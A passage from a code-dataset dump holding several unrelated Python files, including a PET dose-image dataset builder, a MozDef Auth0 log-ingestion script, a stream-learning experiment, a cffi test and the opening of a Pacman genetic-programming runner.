print('original size',dose_data.GetSize())\n cropped_dose_data = dose_data[width//2-128:width//2+128,length//2-128:length//2+128:]\n # print('after crop size', cropped_dose_data.GetSize())\n dose_array = sitk.GetArrayFromImage(cropped_dose_data)\n # print(dose_array.shape)\n if drf == 'drf_100':\n drf_data_dict['raw'] = dose_array\n else:\n drf_data_dict['label'][drf] = dose_array\n if dataset_type !='test':\n print(case)\n make_array_into_patches_with_single_h5(new_dataset_path,case,drf_data_dict)\n else:\n print(case)\n # case_data_path = os.path.join(new_dataset_path,case+'.h5')\n #\n # with h5py.File(case_data_path, 'w') as f:\n # # Create a group for label\n # label_group = f.create_group('label')\n #\n # # Iterate over the keys and items inside the label dictionary\n # for key, value in drf_data_dict['label'].items():\n # label_group.create_dataset(key, data=value, compression='gzip', compression_opts=9)\n #\n # # Save the raw data\n # f.create_dataset('raw', data=drf_data_dict['raw'], compression='gzip', compression_opts=9)\n\n print('finished number', i)\n i += 1\n\n\n\n\ndef make_array_into_patches_with_single_h5_2d(new_dataset_path, case_num, drf_data_dict, patch_shape=[256, 256], stride_shape=[256, 256]):\n print('make_array_into_patches_h5 function')\n raw_array = drf_data_dict['raw']\n label_dict = drf_data_dict['label']\n slice_count = raw_array.shape[0]\n\n for slice_idx in range(slice_count):\n current_raw_slice = raw_array[slice_idx]\n print(current_raw_slice.shape)\n slice_generator = SliceBuilder(raw_dataset=current_raw_slice,label_dataset=None, weight_dataset=None, patch_shape=patch_shape, stride_shape=stride_shape,type = '2d')\n print(current_raw_slice.shape)\n raw_slices = slice_generator._build_slices(dataset=current_raw_slice, patch_shape=patch_shape, stride_shape=stride_shape,type = '2d')\n print(raw_slices)\n\n for idx, patch_slice in enumerate(raw_slices):\n cropped_raw = current_raw_slice[patch_slice]\n \n # Create the patch data path\n patch_data_path = os.path.join(new_dataset_path, f\"{case_num}_slice_{slice_idx}_patch_{idx}.h5\")\n \n # with h5py.File(patch_data_path, 'w') as save_h5py_file:\n # save_h5py_file.create_dataset('raw', data=cropped_raw, compression='gzip', compression_opts=9)\n\n # # Save labels in the same h5 file\n # label_group = save_h5py_file.create_group('label')\n # for drf_key, drf_array in label_dict.items():\n # current_label_slice = drf_array[slice_idx]\n # cropped_label = current_label_slice[patch_slice]\n # label_group.create_dataset(drf_key, data=cropped_label, compression='gzip', compression_opts=9)\n\n\n\ndef build_new_drf_dataset_with_single_h5_2d(original_dataset_path, yaml_path, new_drf_path):\n i = 1\n with open(yaml_path) as file:\n document = yaml.full_load(file)\n # for docuement in documents:\n for dataset_type, case_list in document.items():\n #the line below should be removed in the end\n # if dataset_type == 'val':\n\n # print(dataset_type, \":\", case_list)\n new_dataset_path = os.path.join(new_drf_path, dataset_type)\n # print(new_dataset_path)\n if not os.path.exists(new_dataset_path):\n os.makedirs(new_dataset_path)\n else:\n pass\n for case in case_list:\n case = str(case)\n case_num = case[-3:]\n # if case_num < 210:\n # print(dataset_type, 'patient', case_num)\n drf_data_dict = {}\n drf_data_dict['label'] = {}\n for drf in drf_list:\n # print('drf number',drf)\n dose_data = sitk.ReadImage(os.path.join(original_dataset_path,case,f'{drf}.nii.gz'))\n width, length = dose_data.GetSize()[0], dose_data.GetSize()[1]\n # print('original size',dose_data.GetSize())\n cropped_dose_data = dose_data[width//2-128:width//2+128,length//2-128:length//2+128:]\n # print('after crop size', cropped_dose_data.GetSize())\n dose_array = sitk.GetArrayFromImage(cropped_dose_data)\n # print(dose_array.shape)\n if drf == 'drf_100':\n drf_data_dict['raw'] = dose_array\n else:\n drf_data_dict['label'][drf] = dose_array\n if dataset_type !='test':\n print(case)\n make_array_into_patches_with_single_h5_2d(new_dataset_path,case,drf_data_dict)\n else:\n print(case)\n # case_data_path = os.path.join(new_dataset_path,case+'.h5')\n\n # with h5py.File(case_data_path, 'w') as f:\n # # Create a group for label\n # label_group = f.create_group('label')\n\n # # Iterate over the keys and items inside the label dictionary\n # for key, value in drf_data_dict['label'].items():\n # label_group.create_dataset(key, data=value, compression='gzip', compression_opts=9)\n\n # # Save the raw data\n # f.create_dataset('raw', data=drf_data_dict['raw'], compression='gzip', compression_opts=9) \n\n print('finished number', i)\n i += 1\n\n\ndrf_list = ['Full_dose','drf_2','drf_4', 'drf_10', 'drf_20', 'drf_50', 'drf_100']\ndata_nii_path = '/mnt/HDD3/btan8779/Data_nii/'\nsiemens_yaml_path = \"/mnt/HDD3/btan8779/test_dataset/test_dataset_infor.yaml\"\n # \"/mnt/HDD3/btan8779/CapstoneData/subset_dataset_infor.yaml\"\n # 'D:\\\\CapstoneData\\\\test_dataset\\\\test_dataset_infor.yaml'\n#\"/mnt/HDD3/btan8779/CapstoneData/subset_dataset_infor.yaml\"\n # '/mnt/HDD3/btan8779/CapstoneData/siemens_dataset_infor.yaml'\nnew_dataset_path = \"/mnt/HDD3/btan8779/test_dataset/test_3d_single_size_16/\"\n # 'D:\\\\CapstoneData\\\\test_dataset\\\\test_drf_single_2d'\n# \"/mnt/HDD3/btan8779/CapstoneData/dataset_100/3D/3d_single/\"\n# data_path = \"D:\\\\CapstoneData\\\\test_dataset\\\\test_drf_single\\\\train\\\\patient095_1.h5\"\n# with h5py.File(data_path, 'r') as f:\n# raw = f['raw']\n# label_dic = f['label']\n# print(raw.shape)\n# # print(label_dic.type)\n# drf_50 = label_dic['drf_50']\n# drf_20 = label_dic['drf_20']\n# drf_10 = label_dic['drf_10']\n# drf_4 = label_dic['drf_4']\n# drf_2 = label_dic['drf_2']\n# full = label_dic['Full_dose']\n# print(drf_50.shape,drf_20.shape,drf_10.shape,drf_4.shape,drf_2.shape,full.shape)\n # '/mnt/HDD3/btan8779/test_dataset/test_3d'\n# test_dataset = '/mnt/HDD3/btan8779/test_dataset/Data_nii'\n# test_h5 = '/mnt/HDD3/btan8779/test_dataset/test_3d'\n# test_yaml = '/mnt/HDD3/btan8779/test_dataset/test_dataset_infor.yaml'\nbuild_new_drf_dataset_with_single_h5(data_nii_path,siemens_yaml_path, new_dataset_path)\n# make_3d_image_into_patches_h5_2d(new_dataset_path, case_num, drf_num, image_array, label_array)\n\n\n# def make_array_into_patches_h5_2d(new_dataset_path, case_num, drf_num, raw_array, label_array, patch_shape=[256,256], stride_shape=[256,256]):\n# print('make_array_into_patches_h5 function')\n# slice_generator = SliceBuilder(raw_dataset=raw_array,label_dataset=label_array, weight_dataset=None,patch_shape=patch_shape,stride_shape=stride_shape)\n# raw_slices = slice_generator._build_slices(dataset=raw_array, patch_shape=patch_shape,stride_shape=stride_shape)\n# print(len(raw_slices))\n# for slice in raw_slices:\n# index_num = raw_slices.index(slice)\n# cropped_data= raw_array[slice]\n# cropped_label= label_array[slice]\n# print(cropped_label.shape,cropped_data.shape)\n# slice_data_path = os.path.join(new_dataset_path,case_num+'_'+'drf'+drf_num+'_'+str(index_num)+'.h5')\n# print(slice_data_path)\n# # save_h5py_file = h5py.File(slice_data_path, 'w')\n# # save_h5py_file.create_dataset('raw', data=cropped_data, compression='gzip', compression_opts=9)\n# # save_h5py_file.create_dataset('label', data=cropped_label, compression='gzip', compression_opts=9)\n# # save_h5py_file.close()\n\n\n# import os\n# import h5py\n\ndef make_3d_image_into_patches_h5_2d(new_dataset_path, case_num, drf_num, image_array, label_array, patch_size=256, stride=128):\n print('make_3d_image_into_patches_h5_2d function')\n num_slices = min(image_array.shape[0],label_array.shape[0]) # Number of 2D slices\n\n for index_num in range(num_slices):\n slice_data_path = os.path.join(new_dataset_path, f'{case_num}_drf{drf_num}_{index_num}.h5')\n # print(slice_data_path)\n if not os.path.exists(slice_data_path):\n\n slice_data = image_array[index_num]\n slice_label = label_array[index_num]\n\n height, width = slice_data.shape\n for h in range(0, height - patch_size + 1, stride):\n for w in range(0, width - patch_size + 1, stride):\n patch_data = slice_data[h:h+patch_size, w:w+patch_size]\n patch_label = slice_label[h:h+patch_size, w:w+patch_size]\n # print(patch_data.shape,patch_label.shape)\n if not os.path.exists(slice_data_path):\n save_h5py_file = h5py.File(slice_data_path, 'w')\n save_h5py_file.create_dataset('raw', data=patch_data, compression='gzip', compression_opts=9)\n save_h5py_file.create_dataset('label', data=patch_label, compression='gzip', compression_opts=9)\n save_h5py_file.close()\n\n\n\ndef build_new_drf_dataset_2d(original_dataset_path, yaml_path, new_drf_path):\n i = 1\n with open(yaml_path) as file:\n document = yaml.full_load(file)\n # for docuement in documents:\n for dataset_type, case_list in document.items():\n #the line below should be removed in the end\n if dataset_type != 'test':\n pass\n else:\n\n print(dataset_type, \":\", case_list)\n new_dataset_path = os.path.join(new_drf_path, dataset_type)\n print(new_dataset_path)\n if not os.path.exists(new_dataset_path):\n os.makedirs(new_dataset_path)\n else:\n pass\n for case in case_list:\n case = str(case)\n case_num = case[-3:]\n # if case_num < 210:\n print(dataset_type, 'patient', case_num)\n for drf in drf_list:\n print('drf number', drf)\n # if not os.path.exists(os.path.join(new_dataset_path, f'''{case_num}_drf{drf}_{'643'}.h5''')):\n low_dose_data = sitk.ReadImage(os.path.join(original_dataset_path,case,f'drf_{drf}.nii.gz'))\n full_dose_data = sitk.ReadImage(os.path.join(original_dataset_path,case,'Full_dose.nii.gz'))\n width, length, height = low_dose_data.GetSize()[0], low_dose_data.GetSize()[1], low_dose_data.GetSize()[2]\n print('original size',low_dose_data.GetSize())\n cropped_low_dose_data = low_dose_data[width//2-128:width//2+128,length//2-128:length//2+128:]\n cropped_full_dose_data = full_dose_data[width//2-128:width//2+128,length//2-128:length//2+128:]\n print('after crop size', cropped_low_dose_data.GetSize())\n low_dose_array = sitk.GetArrayFromImage(cropped_low_dose_data)\n full_dose_array = sitk.GetArrayFromImage(cropped_full_dose_data)\n print(low_dose_array.shape, full_dose_array.shape)\n if dataset_type =='test':\n make_3d_image_into_patches_h5_2d(new_dataset_path,case,drf,low_dose_array,full_dose_array)\n else:\n pass\n # else:\n # case_data_path = os.path.join(new_dataset_path,'drf'+drf+'_'+case+'.h5')\n # save_h5py_file = h5py.File(case_data_path, 'w')\n # save_h5py_file.create_dataset('raw', data=low_dose_array, compression='gzip', compression_opts=9)\n # save_h5py_file.create_dataset('label', data=full_dose_array, compression='gzip', compression_opts=9)\n # save_h5py_file.close()\n\n\n\n print('finished number', i)\n i += 1\n\n\ndef make_3d_dataset_to_2d(drf_mix_dataset, new_dataset_path): # (in new dataset)\n phases = ['train', 'val', 'test']\n for phase in phases:\n print(phase)\n dataset_path =os.path.join(drf_mix_dataset,phase)\n all_files = os.listdir(dataset_path)\n new_phase_path = os.path.join(new_dataset_path,phase)\n print(new_phase_path)\n # if not os.path.exists(new_phase_path):\n # os.makedirs(new_phase_path)\n # print(os.listdir(new_dataset_path))\n if phase == 'test':\n # print(dataset_path,new_phase_path)\n shutil.copytree(dataset_path,new_phase_path)\n else:\n if not os.path.exists(new_phase_path):\n os.makedirs(new_phase_path)\n # print(os.listdir(new_dataset_path))\n for file in all_files:\n # print(file)\n file_name = file.split('.')[0]\n # print(file_name)\n file_path = os.path.join(dataset_path, file)\n f1 = h5py.File(file_path,'r')\n raw_3d = np.array(f1['raw'])\n label_3d = np.array(f1['label'])\n # print(raw_3d.shape,label_3d.shape)\n for i in range(raw_3d.shape[0]):\n raw_slice = raw_3d[i,...]\n labe_slice = label_3d[i,...]\n print(raw_slice.shape,labe_slice.shape)\n case_data_path = os.path.join(new_phase_path,file_name+'_'+str(i)+'.h5')\n print(case_data_path)\n if os.path.exists(case_data_path):\n pass\n else:\n save_h5py_file = h5py.File(case_data_path, 'w')\n save_h5py_file.create_dataset('raw', data=raw_slice, compression='gzip', compression_opts=9)\n save_h5py_file.create_dataset('label', data=labe_slice, compression='gzip', compression_opts=9)\n save_h5py_file.close()\n\n\ndef make_denoised_dataset(old_dataset, new_dataset):\n drfs = ['train', 'val', 'test']\n for drf in drfs:\n drf_dataset = os.path.join(old_dataset, drf)\n new_drf_dataset = os.path.join(new_dataset, drf)\n if not os.path.exists(new_drf_dataset):\n os.makedirs(new_drf_dataset)\n else:\n pass\n all_files = os.listdir(drf_dataset)\n for file in all_files:\n # print(drf, file)\n file_path = os.path.join(drf_dataset, file)\n new_file_path = os.path.join(new_drf_dataset,file)\n # print(file_path)\n # print(new_file_path)\n f1 = h5py.File(file_path,'r')\n low_dose_array = np.array(f1['raw'])\n high_dose_array = np.array(f1['label'])\n f1.close()\n # print(new_file_path)\n # print(low_dose_array)\n # print(high_dose_array)\n # print(low_dose_array.shape,high_dose_array.shape)\n denoised_low_dose = np.zeros_like(low_dose_array)\n denoised_high_dose = np.zeros_like(high_dose_array)\n for i in range(low_dose_array.shape[0]):\n low_dose_slice = low_dose_array[i,...]\n high_dose_slice = high_dose_array[i,...]\n new_low_dose_slice = denoise(low_dose_slice,weight=10)\n new_high_dose_slice = denoise(high_dose_slice,weight=10)\n denoised_low_dose[i,...] = new_low_dose_slice\n denoised_high_dose[i,...] = new_high_dose_slice\n\n # print(denoised_low_dose)\n # print(denoised_high_dose)\n # print(new_low_dose_slice.shape)\n # print(new_high_dose_slice.shape)\n f2 = h5py.File(new_file_path,'w')\n f2.create_dataset('raw', data=denoised_low_dose, compression='gzip', compression_opts=9)\n f2.create_dataset('label', data=denoised_high_dose, compression='gzip', compression_opts=9)\n f2.close()\n\ndef make_3d_dataset_to_2d(drf_mix_dataset, new_dataset_path):\n phases = ['train', 'val', 'test']\n for phase in phases:\n print(phase)\n dataset_path =os.path.join(drf_mix_dataset,phase)\n all_files = os.listdir(dataset_path)\n new_phase_path = os.path.join(new_dataset_path,phase)\n if not os.path.exists(new_phase_path):\n os.makedirs(new_phase_path)\n if phase == 'test':\n shutil.copytree(dataset_path,new_phase_path)\n else:\n for file in all_files:\n print(file)\n file_name = file.split('.')[0]\n file_path = os.path.join(dataset_path, file)\n f1 = h5py.File(file_path,'r')\n raw_3d = np.array(f1['raw'])\n label_3d = np.array(f1['label'])\n for i in range(raw_3d.shape[0]):\n raw_slice = raw_3d[i,...]\n labe_slice = label_3d[i,...]\n print(raw_slice.shape,labe_slice.shape)\n case_data_path = os.path.join(new_phase_path,file_name+'_'+str(i)+'.h5')\n if os.path.exists(case_data_path):\n pass\n else:\n save_h5py_file = h5py.File(case_data_path, 'w')\n save_h5py_file.create_dataset('raw', data=raw_slice, compression='gzip', compression_opts=9)\n save_h5py_file.create_dataset('label', data=labe_slice, compression='gzip', compression_opts=9)\n save_h5py_file.close()\n\n\n\n\n# data_nii_path = '/mnt/HDD3/btan8779/Data_nii'\n# siemens_yaml_path = '/mnt/HDD3/btan8779/CapstoneData/siemens_dataset_infor.yaml'\n# new_dataset_path = '/mnt/HDD3/btan8779/test_dataset/test_3d'\n# # test_dataset = '/mnt/HDD3/btan8779/test_dataset/Data_nii'\n# # test_h5 = '/mnt/HDD3/btan8779/test_dataset/test_3d'\n# # test_yaml = '/mnt/HDD3/btan8779/test_dataset/test_dataset_infor.yaml'\n# build_new_drf_dataset(data_nii_path,siemens_yaml_path, new_dataset_path)\n# build_new_drf_dataset(test_dataset,test_yaml,test_h5)\n# build_new_drf_dataset_2d(data_nii_path,total_yaml_path, dataset_2d_path)\n# make_3d_dataset_to_2d(data_nii_path,dataset_2d_path)\n# make_denoised_dataset(new_dataset_path,new_dataset_denoise_path)\n# build_new_drf_dataset_2d(data_nii_path,siemens_yaml_path,siemens_2d_path)","repo_name":"btan8779/CapstoneSubmit","sub_path":"Make_Dataset.py","file_name":"Make_Dataset.py","file_ext":"py","file_size_in_byte":40789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"4457997490","text":"import hjson\nimport sys\nimport requests\nimport mozdef_client as mozdef\ntry:\n import urllib.parse\n quote_url = urllib.parse.quote\nexcept ImportError:\n #Well hello there python2 user!\n import urllib\n quote_url = urllib.quote\n\nclass DotDict(dict):\n '''dict.item notation for dict()'s'''\n __getattr__ = dict.__getitem__\n __setattr__ = dict.__setitem__\n __delattr__ = dict.__delitem__\n\n def __init__(self, dct):\n for key, value in dct.items():\n if hasattr(value, 'keys'):\n value = DotDict(value)\n self[key] = value\n\ndef fatal(msg):\n print(msg)\n sys.exit(1)\n\ndef debug(msg):\n sys.stderr.write('+++ {}\\n'.format(msg))\n\n#This is from https://auth0.com/docs/api/management/v2#!/Logs/get_logs\n#and https://github.com/auth0/auth0-logs-to-logentries/blob/master/index.js (MIT)\nlog_types=DotDict({\n 's': {\n \"event\": 'Success Login',\n \"level\": 1 # Info\n },\n 'seacft': {\n \"event\": 'Success Exchange',\n \"level\": 1 # Info\n },\n 'feacft': {\n \"event\": 'Failed Exchange',\n \"level\": 3 # Error\n },\n 'f': {\n \"event\": 'Failed Login',\n \"level\": 3 # Error\n },\n 'w': {\n \"event\": 'Warnings During Login',\n \"level\": 2 # Warning\n },\n 'du': {\n \"event\": 'Deleted User',\n \"level\": 1 # Info\n },\n 'fu': {\n \"event\": 'Failed Login (invalid email/username)',\n \"level\": 3 # Error\n },\n 'fp': {\n \"event\": 'Failed Login (wrong password)',\n \"level\": 3 # Error\n },\n 'fc': {\n \"event\": 'Failed by Connector',\n \"level\": 3 # Error\n },\n 'fco': {\n \"event\": 'Failed by CORS',\n \"level\": 3 # Error\n },\n 'con': {\n \"event\": 'Connector Online',\n \"level\": 1 # Info\n },\n 'coff': {\n \"event\": 'Connector Offline',\n \"level\": 3 # Error\n },\n 'fcpro': {\n \"event\": 'Failed Connector Provisioning',\n \"level\": 4 # Critical\n },\n 'ss': {\n \"event\": 'Success Signup',\n \"level\": 1 # Info\n },\n 'fs': {\n \"event\": 'Failed Signup',\n \"level\": 3 # Error\n },\n 'cs': {\n \"event\": 'Code Sent',\n \"level\": 0 # Debug\n },\n 'cls': {\n \"event\": 'Code/Link Sent',\n \"level\": 0 # Debug\n },\n 'sv': {\n \"event\": 'Success Verification Email',\n \"level\": 0 # Debug\n },\n 'fv': {\n \"event\": 'Failed Verification Email',\n \"level\": 0 # Debug\n },\n 'scp': {\n \"event\": 'Success Change Password',\n \"level\": 1 # Info\n },\n 'fcp': {\n \"event\": 'Failed Change Password',\n \"level\": 3 # Error\n },\n 'sce': {\n \"event\": 'Success Change Email',\n \"level\": 1 # Info\n },\n 'fce': {\n \"event\": 'Failed Change Email',\n \"level\": 3 # Error\n },\n 'scu': {\n \"event\": 'Success Change Username',\n \"level\": 1 # Info\n },\n 'fcu': {\n \"event\": 'Failed Change Username',\n \"level\": 3 # Error\n },\n 'scpn': {\n \"event\": 'Success Change Phone Number',\n \"level\": 1 # Info\n },\n 'fcpn': {\n \"event\": 'Failed Change Phone Number',\n \"level\": 3 # Error\n },\n 'svr': {\n \"event\": 'Success Verification Email Request',\n \"level\": 0 # Debug\n },\n 'fvr': {\n \"event\": 'Failed Verification Email Request',\n \"level\": 3 # Error\n },\n 'scpr': {\n \"event\": 'Success Change Password Request',\n \"level\": 0 # Debug\n },\n 'fcpr': {\n \"event\": 'Failed Change Password Request',\n \"level\": 3 # Error\n },\n 'fn': {\n \"event\": 'Failed Sending Notification',\n \"level\": 3 # Error\n },\n 'sapi': {\n \"event\": 'API Operation',\n \"level\": 1 #Info\n },\n 'fapi': {\n \"event\": 'Failed API Operation',\n \"level\": 3 #Error\n },\n 'limit_wc': {\n \"event\": 'Blocked Account',\n \"level\": 4 # Critical\n },\n 'limit_ui': {\n \"event\": 'Too Many Calls to /userinfo',\n \"level\": 4 # Critical\n },\n 'api_limit': {\n \"event\": 'Rate Limit On API',\n \"level\": 4 #Critical\n },\n 'sdu': {\n \"event\": 'Successful User Deletion',\n \"level\": 1 # Info\n },\n 'fdu': {\n \"event\": 'Failed User Deletion',\n \"level\": 3 # Error\n }\n})\n\ndef process_msg(mozmsg, msg):\n \"\"\"Normalization function for auth0 msg.\n @mozmsg: MozDefEvent (mozdef message)\n @msg: DotDict (json with auth0 raw message data).\n\n All the try-except loops handle cases where the auth0 msg may or may not contain expected fields.\n The msg structure is not garanteed.\n See also https://auth0.com/docs/api/management/v2#!/Logs/get_logs\n \"\"\"\n details = DotDict({})\n\n try:\n mozmsg.useragent = msg.user_agent\n except KeyError:\n pass\n\n details['type'] = log_types[msg.type].event\n if log_types[msg.type].level == 3:\n mozmsg.set_severity(mozdef.MozDefEvent.SEVERITY_ERROR)\n elif log_types[msg.type].level > 3:\n mozmsg.set_severity(mozdef.MozDefEvent.SEVERITY_CRITICAL)\n details['sourceipaddress'] = msg.ip\n\n try:\n details['description'] = msg.description\n except KeyError:\n details['description'] = \"\"\n\n mozmsg.timestamp = msg.date\n details['auth0_msg_id'] = msg._id\n\n try:\n details['auth0_client'] = msg.client_name\n except KeyError:\n pass\n\n details['auth0_client_id'] = msg.client_id\n\n try:\n details['username'] = msg.details.request.auth.user\n details['action'] = msg.details.response.body.name\n except KeyError:\n try:\n details['errormsg'] = msg.details.error.message\n details['error'] = 'true'\n except KeyError:\n pass\n details['username'] = msg.user_name\n\n try:\n auth0details = msg.details.details\n except KeyError:\n auth0details = \"\"\n\n mozmsg.summary = \"{type} {desc} {auth0details}\".format(type=details.type, desc=details.description,\n auth0details=auth0details)\n mozmsg.details = details\n #that's just too much data, IMO\n #mozmsg.details['auth0_raw'] = msg\n return mozmsg\n\ndef load_state(fpath):\n \"\"\"Load last msg id we've read from auth0 (log index).\n @fpath string (path to state file)\n \"\"\"\n state = 0\n try:\n with open(fpath) as fd:\n state = int(fd.read().split('\\n')[0])\n except FileNotFoundError:\n pass\n return state\n\ndef save_state(fpath, state):\n \"\"\"Saves last msg id we've read from auth0 (log index).\n @fpath string (path to state file)\n @state int (state value)\n \"\"\"\n with open(fpath, mode='w') as fd:\n fd.write(str(state)+'\\n')\n\ndef main():\n #Configuration loading\n with open('auth02mozdef.json') as fd:\n config = DotDict(hjson.load(fd))\n\n if config == None:\n print(\"No configuration file 'auth02mozdef.json' found.\")\n sys.exit(1)\n\n headers = {'Authorization': 'Bearer {}'.format(config.auth0.token),\n 'Accept': 'application/json'}\n\n fromid = load_state(config.state_file)\n\n r = requests.get('{url}?take={reqnr}&sort=date:1&per_page={reqnr}&include_totals=true&from={fromid}'.format(\n url=config.auth0.url,\n reqnr=config.auth0.reqnr,\n fromid=fromid),\n headers=headers)\n\n #If we fail here, auth0 is not responding to us the way we expected it\n if (not r.ok):\n raise Exception(r.url, r.reason, r.status_code, r.json())\n ret = r.json()\n\n #Process all new auth0 log msgs, normalize and send them to mozdef\n for msg in ret:\n mozmsg = mozdef.MozDefEvent(config.mozdef.url)\n if config.DEBUG:\n mozmsg.set_send_to_syslog(True, only_syslog=True)\n mozmsg.source = config.auth0.url\n mozmsg.tags = ['auth0']\n msg = DotDict(msg)\n lastid = msg._id\n\n #Fill in mozdef msg fields from the auth0 msg\n try:\n mozmsg = process_msg(mozmsg, msg)\n except KeyError as e:\n #if this happens the msg was malformed in some way\n mozmsg.details['error'] = 'true'\n mozmsg.details['errormsg'] = e\n mozmsg.summary = 'Failed to parse auth0 message'\n mozmsg.send()\n\n save_state(config.state_file, lastid)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"archer-christ/MozDef","sub_path":"cron/auth02mozdef.py","file_name":"auth02mozdef.py","file_ext":"py","file_size_in_byte":9449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"25"} +{"seq_id":"26290492255","text":"import numpy as np\nimport strlearn as sl\nfrom methods.meta import Meta\nfrom methods.DSCA import DSCA\nfrom sklearn.naive_bayes import GaussianNB\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import balanced_accuracy_score\nfrom sklearn.metrics import accuracy_score\nfrom scipy.signal import medfilt\nfrom sklearn.base import clone\n\nweights = (.025, .1)\ny_flip = (.01, .01)\n\nstream = sl.streams.StreamGenerator(\n weights=weights,\n random_state=1263,\n y_flip=y_flip,\n n_drifts=0,\n n_features=8,\n n_informative=8,\n n_redundant=0,\n n_repeated=0,\n n_clusters_per_class=2,\n n_chunks=500,\n chunk_size=200,\n class_sep=1,\n)\n\nbase = GaussianNB()\n\nmeta_min = Meta(base_clf=clone(base), prior_estimator=DSCA(), correction=True, criterion='min', border=0.5)\nmeta_max = Meta(base_clf=clone(base), prior_estimator=DSCA(), correction=True, criterion='max', border=0.5)\n\neval = sl.evaluators.TestThenTrain(verbose=True, metrics=(accuracy_score, balanced_accuracy_score))\neval.process(stream, [meta_min, meta_max])\n\ndif = eval.scores[0,:,0] != eval.scores[1,:,0]\n\nprint(eval.scores.shape)\nprint('min', eval.scores[0,:,0][dif])\nprint('max', eval.scores[1,:,0][dif])\n\nplt.tight_layout()\nplt.savefig('foo.png')\n","repo_name":"w4k2/2PAC","sub_path":"nerwica.py","file_name":"nerwica.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"36556207379","text":"\r\n# Question : Given an infinite number line. \r\n# You start at 0 and can go either to the left or to the right. The condition is that in the ith move, youmust take i steps. \r\n# Given a destination D , find the minimum number of steps required to reach that destination.\r\n\r\n\r\n# Input: D = 2\r\n# Output: 3\r\n# Explaination: The steps takn are +1, -2 and +3.\r\n\r\n\r\n# Approach : go on adding step to summe ,when summe equals to target return step\r\n# otherwise check if (summe - target)%2 ==0 , meaning any two numbers can be reduced.\r\n\r\n\r\nclass Solution:\r\n def minSteps(self, target):\r\n # code here\r\n target = abs(target)\r\n \r\n summe ,step = 0,0\r\n while(True):\r\n \r\n step +=1\r\n summe +=step\r\n \r\n if (summe == target):\r\n return (step)\r\n \r\n if (summe >target and (summe - target)%2 ==0):\r\n return (step)\r\n\r\nif __name__ == '__main__':\r\n\r\n d = 2\r\n obj = Solution()\r\n ans = obj.minSteps(d)\r\n print(ans)\r\n","repo_name":"chantya127/6Companies30days","sub_path":"Adobe/Q14.py","file_name":"Q14.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"26660168125","text":"# https://www.youtube.com/watch?v=zW_HyDTPjO0\r\nimport unittest\r\nimport cffi\r\nimport importlib\r\n\r\n\r\ndef load(filename):\r\n source = open(filename + '.c').read()\r\n includes = open(filename + '.h').read()\r\n\r\n ffibuilder = cffi.FFI()\r\n ffibuilder.cdef(includes)\r\n ffibuilder.set_source(filename + '_', source)\r\n ffibuilder.compile()\r\n\r\n module = importlib.import_module(filename + '_')\r\n return module.lib\r\n\r\n\r\nclass TestOne(unittest.TestCase):\r\n def test_one(self):\r\n module = load('example')\r\n self.assertEqual(module.get_one(), 1)\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"stefanofiorentino/cffi","sub_path":"unit_test.py","file_name":"unit_test.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"44482709393","text":"from Game_Ultility import *\nfrom GPNode import *\nfrom EA_Ultility import *\nfrom Controller import *\nfrom Output_Ultility import *\nfrom Input_Ultility import *\nimport argparse\nfrom datetime import datetime\nimport sys\nimport os\n#read config file name\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--file\", \"-f\", type=str, required=False, default = \"default.cfg\")\nargument = parser.parse_args()\nconfig_file_name = str(argument.file)\n\n#read config dictionary\nconfig_dict = get_config_dict(config_file_name)\n\nresult_folder_name = config_dict[\"result_folder_name\"]\nos.mkdir(result_folder_name)\n\n#seeding\nif(\"convergence_n_eval\" in config_dict):\n convergence_n_eval = config_dict[\"convergence_n_eval\"]\n no_change_counter = 0\n last_best_fitness = 0\nelse:\n convergence_n_eval = None\n\n\nif(\"seed\" in config_dict) and (config_dict[\"seed\"] != \"t\"):\n seed = str(config_dict[\"seed\"])\nelse: #if seed is not specified\n #if seed with time\n seed = str(datetime.now())\n config_dict[\"seed\"] = seed #change config_dict for log keeping\nprint(\"Seeding with\", seed)\nrandom.seed(seed)\n\nGPNode.grow_terminal_prob = config_dict[\"grow_terminal_prob\"]\nPacmanNode.max_tree_height = config_dict[\"pacman_max_tree_height\"]\nGhostNode.max_tree_height = config_dict[\"ghost_max_tree_height\"]\n\nplay_station = Maze(config_dict)\n\n\nall_runs_scores = []\nbest_run_scores = None #[[eval#, eval#, ...],[score 0, score 1...]]\nglobal_best_play_instance = None\n\n#write log header and config\nlog_file = open(result_folder_name+\"/\"+config_dict[\"log_file_name\"],\"w\")\nlog_file.write(\"Use the setting in the following lines to re-create this experiment\\n\\n\")\nlog_file.write(str(config_dict) + \"\\n\\n\")\nlog_file.write(\"Result Log\\n\")\n\ngame_score_watch_value = 0\nbest_saved_game = None\nfor i in range(config_dict[\"n_run\"]):#each run\n print(\"Run\", i, \"################\")\n log_file.write(\"\\nRun \"+str(i)+\"\\n\")\n play_station = Maze(config_dict)\n eval_counter = 0\n\n ###########initialize population and evaluate##########\n pacman_population, ghost_population = initialize_population(config_dict)\n n_eval, avg_pacman_fitnes, best_pacman_fitness, saved_game = evaluate(config_dict, play_station, pacman_population, ghost_population)\n\n ####logging log <- eval avg best\n if saved_game:\n if(best_saved_game == None or saved_game.pacman_score > best_saved_game.pacman_score):\n best_saved_game = saved_game\n game_score_watch_value = best_saved_game.pacman_score\n eval_counter += n_eval\n log_file.write(str(eval_counter)+\"\\t\"+str(avg_pacman_fitnes)+\"\\t\"+str(best_pacman_fitness) + \"\\n\")\n print(\"Eval\", eval_counter)\n ############begin the evolution cycles####################\n while(True):\n ########Pacman Parent Selection##################\n if config_dict[\"pacman_parent_selection\"] == \"fps\":\n pacman_parent = fps(pacman_population, config_dict[\"n_pacman_parent\"])\n elif config_dict[\"pacman_parent_selection\"] == \"os\":\n pacman_parent = over_selection(pacman_population, config_dict[\"n_pacman_parent\"], config_dict[\"over_selection_x\"])\n ########Ghost Parent Selection###################\n if 